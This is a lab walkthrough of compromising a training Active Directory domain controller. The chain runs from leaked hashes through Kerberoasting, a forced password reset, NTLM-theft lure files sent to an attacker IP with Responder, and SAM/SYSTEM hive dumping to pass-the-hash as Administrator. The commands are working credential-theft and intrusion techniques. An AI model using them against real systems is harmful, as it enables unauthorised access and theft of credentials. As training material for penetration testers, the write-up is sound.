> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/building-magic.md). # Building Magic {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** This is the first machine release on Hack Smarter ! Initially, we are provided with the following scope and leaked database hashes: ## Scope and Objective {% code overflow="wrap" %} ``` Objective: As a penetration tester on the Hack Smarter Red Team, your objective is to achieve a full compromise of the Active Directory environment. Initial Access: A prior enumeration phase has yielded a leaked database containing user credentials (usernames and hashed passwords). This information will serve as your starting point for gaining initial access to the network. Execution: Your task is to leverage the compromised credentials to escalate privileges, move laterally through the Active Directory, and ultimately achieve a complete compromise of the domain. *Note to user: *To access the target machine, you must add the following entries to your /etc/hosts file: buildingmagic.local dc01.buildingmagic.local ``` {% endcode %} **Leaked Database File:** ``` id username full_name role password 1 r.widdleton Ron Widdleton Intern Builder c4a21c4d438819d73d24851e7966229c 2 n.bottomsworth Neville Bottomsworth Plannner 61ee643c5043eadbcdc6c9d1e3ebd298 3 l.layman Luna Layman Planner 8960516f904051176cc5ef67869de88f 4 c.smith Chen Smith Builder bbd151e24516a48790b2cd5845e7f148 5 d.thomas Dean Thomas Builder 4d14ff3e264f6a9891aa6cea1cfa17cb 6 s.winnigan Samuel Winnigan HR Manager 078576a0569f4e0b758aedf650cb6d9a 7 p.jackson Parvati Jackson Shift Lead eada74b2fa7f5e142ac412d767831b54 8 b.builder Bob Builder Electrician dd4137bab3b52b55f99f18b7cd595448 9 t.ren Theodore Ren Safety Officer bfaf794a81438488e57ee3954c27cd75 10 e.macmillan Ernest Macmillan Surveyor 47d23284395f618bea1959e710bc68ef ``` ## Recon The Nmap scan of `10.1.168.5` revealed numerous Windows/Active Directory-related services, including DNS `53`, Kerberos `88/464`, LDAP `389/636/3268/3269`, SMB `139/445`, RPC `135/593`, and RDP `3389`, alongside web services on ports `80` and `8080`. This indicates the host is likely a domain controller with both directory services and a web application attack surface. ``` nmap -Pn 10.1.168.5 ```
The default script and service scan does not provide any further information, but only confirms the domains that are already known from the scope. ``` nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,8080 -Pn 10.1.168.5 ``` ``` BUILDINGMAGIC.LOCAL DC01.BUILDINGMAGIC.LOCAL ``` ## Access as r.widdleton We continue cracking the existing hashes using hashcat and are able to crack only one password. ``` hashcat -a0 -m0 hashes.txt /usr/share/wordlists/rockyou.txt --username --show ```
Further hashes could be cracked using the site `https://crackstation.net/`.
From the Nmap scan, we know that `SMB` is available. We use `NetExec` and test the cracked passwords. We are successful with the user `r.widdelton`. ``` nxc smb 10.1.168.5 -u 't.ren' -p 'REDACTED' --shares ``` ``` nxc smb 10.1.168.5 -u 'r.widdleton' -p 'REDACTED' --shares ```
We see that there is a share called `File-Share`, but we have neither `read` nor `write` access to it. But we have `read` access to the `IPC$` share, which allows us to perform a `rid` brute force. ## Username Enumeration We will see if we can find other users besides those with leaked credentials. To do this, we use the aforementioned `rid` bruteforce. ``` nxc smb 10.1.168.5 -u 'r.widdleton' -p 'REDACTED' --rid ```
And we are able to get the following users, which might come in handy later. ``` h.potch r.widdleton r.haggard h.grangon a.flatch ``` ## Access as r.haggard With the credentials from `r.widdleton`, we continue with the enumeration and use Bloodhound for this purpose. Since I had problems with DNS timeouts, I used DNSChef for this case. ``` dnschef.py --fakeip 10.1.168.5 -q ```
We run the collectors script `bloodhound-ce.py` with the credentials of `r.widdleton`. {% code overflow="wrap" %} ``` bloodhound-ce.py --zip -c All -d BUILDINGMAGIC.LOCAL -u r.widdleton -p REDACTED -dc DC01.BUILDINGMAGIC.LOCAL -ns 127.0.0.1 ``` {% endcode %}
We feed the data into Bloodhound and analyse it using the available cypher queries and the `OutBound Object Control` relationships. We see that `r.widdleton` does not have any special permissions. But we find a Kerberosatbale user: `r.haggard`.
We use `GetUserSPNs.py` to Kerberoast the user using the credentials of `r.widdleton`. And we receive the `Kerberos 5, etype 23, TGS-REP` blob from `r.haggard`. {% code overflow="wrap" %} ``` GetUserSPNs.py -dc-host DC01.BUILDINGMAGIC.LOCAL BUILDINGMAGIC.LOCAL/'r.widdleton':'REDACTED' -request ``` {% endcode %}
Fortunately, this could be cracked using hashcat. And we have now access as `r.haggard`. ``` hashcat -m13100 -a0 '' /usr/share/wordlists/rockyou.txt ```
## Access as h.potch We take another look at the data we collected with Bloodhound. Let's take a closer look at `r.haggard`'s `Outbound Object Control`. The user is able to change `h.potch`'s password. The user `h.potch` does not appear to have any further permissions or usable relationships in Bloodhound, but we will see what else he can do in a moment.
Next, we change the password of `h.potch` with the credentials of `r.haggerd` using `net rpc`. {% code overflow="wrap" %} ``` net rpc password 'h.potch' 'newP@ssword2022' -U 'BUILDINGMAGIC.LOCAL/r.haggard%REDACTED' -S DC01.BUILDINGMAGIC.LOCAL ``` {% endcode %}
We enumerate the shares using NetExec and see that we are now able to `read` and `write` to the share `File-Share` that we have already discovered. ``` nxc smb BUILDINGMAGIC.LOCAL -u 'h.potch' -p 'newP@ssword2022' --shares ```
## Shell as h.grangon However, the share appears to be empty. ``` smbclient //10.1.168.5/File-Share -U 'BUILDINGMAGIC.LOCAL\h.potch%newP@ssword2022' ```
But since we can `write`, we can try to place a file in the share that connects to us when opened or viewed in browser and reveals the hash of the calling user. This is called `NTLM theft`. There is already a handy tool for creating such files: {% embed url="" %} We prepare the files, ``` ntlm_thef.py --verbose --generate modern --server 10.200.0.156 --filename "meetingXYZ" ```
and set up resonder (with `root` privileges) to catch the request. ``` responder -I tun0 ``` Next, we place the `.lnk` file in that share.
We get a connection with the `NTLMv2-SSP` of `h.grangon`.
Once again, we are able to crack the hash. ``` hashcat -m5600 -a0 '' /usr/share/wordlist/rockyou.txt ```
In Bloodhound, we see that this user is in the `Remote Management Users` group. This allows us to connect to the machine using evil-winrm. Remember, port `5985` is open.
We connect to the machine using evil-winrm and find the first flag at `C:\Users\h.grangon\Desktop\user.txt`. ``` evil-winrm -i DC01.BUILDMAGIC.LOCAL -u 'h.grangon' -p 'REDACTED' ```
## Shell as a.flatch The user has a fatal permission: `SeBackupPrivilege`. This allows us to copy the `SAM` and `SYSTEM` hive. From this, we can then extract hashes using Impackets secretsdump. ``` whoami /priv ```
We save hives and download those using evil-winrm. The download of the `SYSTEM` hive via `evil-winrm` might take some time. ``` reg save HKLM\SAM "C:\Users\h.grangon\Documents\SAM" ``` ``` reg save HKLM\SYSTEM "C:\Users\h.grangon\Documents\SYSTEM" ```
Next we dump the hashes using Impackets `secretsdump`. We are now in the possesion of the local Administrator hash. But it seems like it cannot be used using either of the Impacket exec tools like `wmiexec.py` or `psexec.py` nor evil-winrm. ``` secretsdump.py -sam './SAM' -system './SYSTEM' LOCAL ```
Recalling the users list gathered from the `rid` brute force we try the hash on all the users we know of and are successful with `a.fletch`. ``` nxc smb BUILDINGMAGIC.LOCAL -u users.txt -H REDACTED --continue-on-success ```
We see that this user is also an Administrator.
We connect to the machine as `a.fletch` using the hash.
And we find the final flag at `C:\Users\Administrator\Desktop\root.txt`.